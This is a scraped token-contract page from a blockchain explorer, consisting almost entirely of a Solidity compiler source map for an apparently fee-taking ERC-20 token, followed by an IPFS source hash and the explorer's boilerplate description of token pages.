;::::0;:1:::1;:16;:::i;:::-;:24;;;;:::i;:::-;10587:15;:36;:56;;;;10628:15;10636:6;10628:7;:15::i;:::-;10627:16;10587:56;10584:231;;;10659:7;;;10584:231;10723:20;::::0;3756:5:::1;2840:12;2512:1;2840:2;:12;:::i;:::-;2690:30;::::0;:11:::1;:30;:::i;:::-;3737:16;::::0;:1:::1;:16;:::i;:::-;:24;;;;:::i;:::-;10702:41;;;;:::i;:::-;10684:15;:59;10681:134;;;10795:20;::::0;3756:5:::1;2840:12;2512:1;2840:2;:12;:::i;:::-;2690:30;::::0;:11:::1;:30;:::i;:::-;3737:16;::::0;:1:::1;:16;:::i;:::-;:24;;;;:::i;:::-;10774:41;;;;:::i;:::-;10756:59;;10681:134;10864:21;10898:33;10915:15:::0;10898:16:::1;:33::i;:::-;10953:18;10974:41;10998:17:::0;10974:21:::1;:41;:::i;:::-;10953:62:::0;-1:-1:-1;11029:14:0;;11026:76:::1;;11071:19;11079:10;11071:7;:19::i;:::-;10509:600;;;4533:1;-1:-1:-1::0;4545:8:0;:16;;-1:-1:-1;;4545:16:0;;;10458:651::o;9284:420::-;-1:-1:-1;;;;;9418:17:0;;9377:4;9418:17;;;:9;:17;;;;;;9454:23;;;;9446:63;;;;-1:-1:-1;;;9446:63:0;;10779:2:1;9446:63:0;;;10761:21:1;10818:2;10798:18;;;10791:30;10857:29;10837:18;;;10830:57;10904:18;;9446:63:0;10577:351:1;9446:63:0;-1:-1:-1;;;;;9544:17:0;;;;;;;:9;:17;;;;;;:27;;;;;;;9593:20;;;;;;;;:30;;9565:6;;9544:17;9593:30;;9565:6;;9593:30;:::i;:::-;;;;;;;;9656:9;-1:-1:-1;;;;;9639:35:0;9648:6;-1:-1:-1;;;;;9639:35:0;;9667:6;9639:35;;;;1595:25:1;;1583:2;1568:18;;1449:177;9639:35:0;;;;;;;;-1:-1:-1;9692:4:0;;9284:420;-1:-1:-1;;;;9284:420:0:o;8949:326::-;9032:4;9049:12;9064:26;9073:4;9079:2;9083:6;9064:8;:26::i;:::-;9049:41;-1:-1:-1;9108:8:0;;9105:113;;9136:41;9151:4;9165;9172;9136:14;:41::i;:::-;-1:-1:-1;9192:14:0;9202:4;9192:14;;:::i;:::-;;;9105:113;9235:32;9250:4;9256:2;9260:6;9235:14;:32::i;:::-;9228:39;8949:326;-1:-1:-1;;;;;8949:326:0:o;10194:256::-;10249:4;10288:11;;10273:12;:26;:66;;;;-1:-1:-1;10322:12:0;10303:32;;;;:18;:32;;;;;;10338:1;-1:-1:-1;10273:66:0;:169;;;;-1:-1:-1;10368:20:0;;:25;:73;;10421:20;;3756:5;2840:12;2512:1;2840:2;:12;:::i;:::-;2690:30;;:11;:30;:::i;:::-;3737:16;;:1;:16;:::i;:::-;:24;;;;:::i;:::-;10400:41;;;;:::i;:::-;10368:73;;;10396:1;10368:73;10357:6;:85;;10266:176;10194:256;-1:-1:-1;;10194:256:0:o;11495:533::-;11580:12;11561:32;;;;:18;:32;;;;;:34;;;;;;:::i;:::-;;;;-1:-1:-1;;11690:16:0;;;11704:1;11690:16;;;;;;;;11666:21;;11690:16;;;;;;;;;;-1:-1:-1;11690:16:0;11666:40;;11735:4;11717;11722:1;11717:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;11717:23:0;;;-1:-1:-1;;;;;11717:23:0;;;;;3588:42;11751:4;11756:1;11751:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11751:14:0;;;:7;;;;;;;;;;;:14;11782:213;;-1:-1:-1;;;11782:213:0;;3385:42;;11782:65;;:213;;11862:11;;11888:1;;11932:4;;11959;;11979:15;;11782:213;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11778:243;;12013:7;11495:533;:::o;11117:153::-;11198:25;;11173:12;;-1:-1:-1;;;;;11198:25:0;11237:11;11247:1;11237:9;:11;:::i;:::-;11190:63;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;11117:153:0:o;9712:474::-;9794:12;9826:11;;9822:1;:15;:45;;;;;9855:12;9841:11;;:26;9822:45;9819:360;;;2988:3;9906:13;-1:-1:-1;;;;;9900:19:0;:2;-1:-1:-1;;;;;9900:19:0;;:76;;9958:11;:18;9900:76;;;9936:19;;9900:76;9890:87;;:6;:87;:::i;:::-;:105;;;;:::i;:::-;9883:112;;9819:360;;;2988:3;10073:13;-1:-1:-1;;;;;10065:21:0;:4;-1:-1:-1;;;;;10065:21:0;;:71;;10109:11;;:16;:26;;10133:2;10065:71;;10109:26;10128:2;10065:71;;;10103:2;10065:71;10055:82;;;;:6;:82;:::i;:::-;:100;;;;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1196:248::-;1264:6;1272;1325:2;1313:9;1304:7;1300:23;1296:32;1293:52;;;1341:1;1338;1331:12;1293:52;-1:-1:-1;;1364:23:1;;;1434:2;1419:18;;;1406:32;;-1:-1:-1;1196:248:1:o;1631:186::-;1690:6;1743:2;1731:9;1722:7;1718:23;1714:32;1711:52;;;1759:1;1756;1749:12;1711:52;1782:29;1801:9;1782:29;:::i;1822:328::-;1899:6;1907;1915;1968:2;1956:9;1947:7;1943:23;1939:32;1936:52;;;1984:1;1981;1974:12;1936:52;2007:29;2026:9;2007:29;:::i;:::-;1997:39;;2055:38;2089:2;2078:9;2074:18;2055:38;:::i;:::-;2045:48;;2140:2;2129:9;2125:18;2112:32;2102:42;;1822:328;;;;;:::o;3114:260::-;3182:6;3190;3243:2;3231:9;3222:7;3218:23;3214:32;3211:52;;;3259:1;3256;3249:12;3211:52;3282:29;3301:9;3282:29;:::i;:::-;3272:39;;3330:38;3364:2;3353:9;3349:18;3330:38;:::i;:::-;3320:48;;3114:260;;;;;:::o;3379:385::-;3465:6;3473;3481;3489;3542:3;3530:9;3521:7;3517:23;3513:33;3510:53;;;3559:1;3556;3549:12;3510:53;-1:-1:-1;;3582:23:1;;;3652:2;3637:18;;3624:32;;-1:-1:-1;3703:2:1;3688:18;;3675:32;;3754:2;3739:18;3726:32;;-1:-1:-1;3379:385:1;-1:-1:-1;3379:385:1:o;3769:356::-;3971:2;3953:21;;;3990:18;;;3983:30;4049:34;4044:2;4029:18;;4022:62;4116:2;4101:18;;3769:356::o;4841:127::-;4902:10;4897:3;4893:20;4890:1;4883:31;4933:4;4930:1;4923:15;4957:4;4954:1;4947:15;4973:416;5062:1;5099:5;5062:1;5113:270;5134:7;5124:8;5121:21;5113:270;;;5193:4;5189:1;5185:6;5181:17;5175:4;5172:27;5169:53;;;5202:18;;:::i;:::-;5252:7;5242:8;5238:22;5235:55;;;5272:16;;;;5235:55;5351:22;;;;5311:15;;;;5113:270;;;5117:3;4973:416;;;;;:::o;5394:806::-;5443:5;5473:8;5463:80;;-1:-1:-1;5514:1:1;5528:5;;5463:80;5562:4;5552:76;;-1:-1:-1;5599:1:1;5613:5;;5552:76;5644:4;5662:1;5657:59;;;;5730:1;5725:130;;;;5637:218;;5657:59;5687:1;5678:10;;5701:5;;;5725:130;5762:3;5752:8;5749:17;5746:43;;;5769:18;;:::i;:::-;-1:-1:-1;;5825:1:1;5811:16;;5840:5;;5637:218;;5939:2;5929:8;5926:16;5920:3;5914:4;5911:13;5907:36;5901:2;5891:8;5888:16;5883:2;5877:4;5874:12;5870:35;5867:77;5864:159;;;-1:-1:-1;5976:19:1;;;6008:5;;5864:159;6055:34;6080:8;6074:4;6055:34;:::i;:::-;6125:6;6121:1;6117:6;6113:19;6104:7;6101:32;6098:58;;;6136:18;;:::i;:::-;6174:20;;5394:806;-1:-1:-1;;;5394:806:1:o;6205:140::-;6263:5;6292:47;6333:4;6323:8;6319:19;6313:4;6292:47;:::i;6350:168::-;6423:9;;;6454;;6471:15;;;6465:22;;6451:37;6441:71;;6492:18;;:::i;7635:125::-;7700:9;;;7721:10;;;7718:36;;;7734:18;;:::i;7765:217::-;7805:1;7831;7821:132;;7875:10;7870:3;7866:20;7863:1;7856:31;7910:4;7907:1;7900:15;7938:4;7935:1;7928:15;7821:132;-1:-1:-1;7967:9:1;;7765:217::o;8394:128::-;8461:9;;;8482:11;;;8479:37;;;8496:18;;:::i;8527:127::-;8588:10;8583:3;8579:20;8576:1;8569:31;8619:4;8616:1;8609:15;8643:4;8640:1;8633:15;10933:135;10972:3;10993:17;;;10990:43;;11013:18;;:::i;:::-;-1:-1:-1;11060:1:1;11049:13;;10933:135::o;11205:127::-;11266:10;11261:3;11257:20;11254:1;11247:31;11297:4;11294:1;11287:15;11321:4;11318:1;11311:15;11337:980;11599:4;11647:3;11636:9;11632:19;11678:6;11667:9;11660:25;11704:2;11742:6;11737:2;11726:9;11722:18;11715:34;11785:3;11780:2;11769:9;11765:18;11758:31;11809:6;11844;11838:13;11875:6;11867;11860:22;11913:3;11902:9;11898:19;11891:26;;11952:2;11944:6;11940:15;11926:29;;11973:1;11983:195;11997:6;11994:1;11991:13;11983:195;;;12062:13;;-1:-1:-1;;;;;12058:39:1;12046:52;;12153:15;;;;12118:12;;;;12094:1;12012:9;11983:195;;;-1:-1:-1;;;;;;;12234:32:1;;;;12229:2;12214:18;;12207:60;-1:-1:-1;;;12298:3:1;12283:19;12276:35;12195:3;11337:980;-1:-1:-1;;;11337:980:1:o

Swarm Source

ipfs://7df39958cba4f4cae6c07ec6286e7f37bcc3ac3ee476a8c1911130e230d60833
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.